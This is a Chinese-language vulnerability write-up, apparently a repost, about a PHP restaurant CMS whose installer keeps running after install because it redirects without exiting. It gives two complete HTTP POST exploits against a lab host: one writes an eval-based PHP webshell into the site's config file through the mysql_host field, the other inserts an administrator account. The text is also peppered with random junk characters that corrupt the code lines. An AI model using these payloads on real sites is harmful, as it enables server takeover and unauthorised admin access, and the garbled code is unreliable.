问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
# D& Q1 B3 C, x4 U# ]) j# T4 Y2 l
<?php
! g& J1 N z/ a. V$ lif(file_exists("../install.lock"))& |8 w5 l- [9 S+ M
{* N M, B4 Z4 f* g) w
header("Location: ../");//没有退出. x, g% a; |, i O r4 E* y6 \
}( }3 g" W6 J- D7 {) o: l9 N" y. ?
! y. l; m! E7 S3 H$ b//echo 'tst';exit;
" c3 T3 I) e+ lrequire_once("init.php");2 ]! P3 M1 L: d
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
9 o3 ?. p q0 y" r4 w0 O{
0 A& ]' G* m. m9 ~8 R* O( K可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。6 T6 d: @! K( J2 K9 b% `4 H
4 N6 i/ @$ x! F- N/ u1、getshell(很危险): S f9 h( x, j7 {2 ^. i% r
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)$ G' x+ u: _- [( ]' s' v9 }: K
{ m4 I4 T! E F
$smarty->assign("step",1);
" s/ z4 c* T( K- k) M' j$smarty->display("index.html");
! K: h: `6 ~% H3 U}elseif($_REQUEST['step']==2)! x+ Z' g( ~, m+ p+ m7 G
{8 F8 V8 @7 t9 X, j) {
$mysql_host=trim($_POST['mysql_host']);
4 `7 f: O- g( }; A+ D $mysql_user=trim($_POST['mysql_user']);0 M, S$ D8 C5 h' f& J4 L7 ~6 k
$mysql_pwd=trim($_POST['mysql_pwd']);
0 W' Q) L2 Y* x( d/ l+ `6 X/ M $mysql_db=trim($_POST['mysql_db']);
# T4 R* j6 O6 P# X T# N" K5 g- d $tblpre=trim($_POST['tblpre']);! o5 D- t" `# @; n& d4 q
$domain==trim($_POST['domain']);3 c$ t6 o1 [$ L5 [9 u. `6 [
$str="<?php \r\n";3 U0 u* Q' h9 G2 a ?7 Q: ~
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";6 w; m' O% g5 h& a9 I) n ~
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
" \( i! [* [8 Y; X: u7 T $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
8 P# `9 e9 e+ X2 Z $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";+ y# l* O1 G6 q
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
, B, e' ~$ x4 j/ w& u $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
' C% Z- p# L _5 w $str.='define("DOMAIN","'.$domain.'");'."\r\n";
0 T: w- F9 d' r3 N5 _2 y $str.='define("SKINS","default");'."\r\n";
/ v2 a) ^7 P* {( ` $str.='?>';; m2 Q( s, i0 Q0 {9 `1 ?* P
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件% s7 I( m3 A4 f- X& g0 ?
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马) n2 v2 N7 n3 @) s; `
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
. H5 ?3 _- E$ D* U0 M' OHost: 192.168.80.129' d8 `$ h+ s; c# p s
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0+ y1 [8 @6 v* X+ H6 ~
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" e- `, i3 M% `( H" _' }
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3# n# j& B% F; ^! a
Accept-Encoding: gzip, deflate8 _% F9 ~ [. g) [
Referer: http://192.168.80.129/canting/install/index.php?step=11 T" ^1 p$ e7 k o! L) i+ h X; ~
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
* ~' B7 u$ w3 }Content-Type: application/x-www-form-urlencoded
% ~* E* r l& ZContent-Length: 1260 W9 [- _2 Q1 k( p8 f
' v0 @/ v' z, a3 l$ d' a
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD# a& T H( G! u* E6 }* R; g
但是这个方法很危险,将导致网站无法运行。. a5 U- j4 O' {
, ?' l4 h9 W& D( q& b. y( \
2、直接添加管理员
9 L4 R: A2 y4 e ~7 v8 ?! f
. _* Z" ?- i. q0 H1 Q; S: [% }4 X" {elseif($_REQUEST['step']==5)/ ^) D6 ?1 l4 u7 D, k# }
{" n( o: b; z9 ~% ]: A
if($_POST)" M. Z5 V8 [3 c' k2 i
{ require_once("../config/config.inc.php");
: I. M- o0 n0 G2 J6 ^ $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
; l1 W. h: n" Q# l: p* [ mysql_select_db(MYSQL_DB,$link);
7 P6 `) w9 @2 }/ g, w1 [; Q mysql_query("SET NAMES ".MYSQL_CHARSET );8 x; |4 t2 g) c& x) k2 X J
mysql_query("SET sql_mode=''");
- c! `/ {9 C( Y! _; R
) f3 p5 t. r7 d! Y$ o $adminname=trim($_POST['adminname']);9 `9 f5 N# k4 T( B& _1 C1 s& ]1 w
$pwd1=trim($_POST['pwd1']);
+ Y& P- D: C$ j4 ? $pwd2=trim($_POST['pwd2']);# |( g7 B6 r' d; o7 D5 Z4 ^. }
if(empty($adminname))7 t7 }3 D9 o C b! r
{) o3 g& z0 a: x& P; P# j" J+ j
1 |+ n! w% L& W8 }" X! Z. M echo "<script>alert('管理员不能为空');history.go(-1);</script>";
/ ?2 A+ `4 A- q2 U9 B exit();4 ^! m4 Z7 T2 ~& {1 z
}
7 f2 s C3 O' \( d if(($pwd1!=$pwd2) or empty($pwd1))
C! I9 d2 |& R {- M: T4 `- h- q6 a$ t c
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
% p0 T! k6 u0 B3 Q0 F( I }
: e' U+ D0 N/ d8 j# x; {6 Q: w mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
$ N9 K, L4 s8 ^* _! ~ } P2 Y! s& \- y- ^( V# F
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:" h \6 Z( p' ~# I
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
/ v# r9 `4 X& tHost: 192.168.80.129; K4 O; N: Q. Y
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0' g& u: o4 q. A7 ~! v, u
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.82 F# Q1 s M5 c3 s- G2 X. l
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
8 x% v% ]- R$ @2 K2 KAccept-Encoding: gzip, deflate7 U& c6 ]4 H: Q! I6 `
Referer: http://www.2cto.com /canting/install/index.php?step=1
, M& W% _. B/ G( v2 E, t9 ~Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
' o: b# J a4 f0 X; EContent-Type: application/x-www-form-urlencoded
: a0 X7 t/ l* ~2 z! j$ w, }4 y, ZContent-Length: 462 ~7 R* O* N- A0 d' F
. e; W; ]( B2 X! |* Dadminname=qingshen&pwd1=qingshen&pwd2=qingshen
, Y1 r6 R, H4 }, I; b' ?8 _7 U |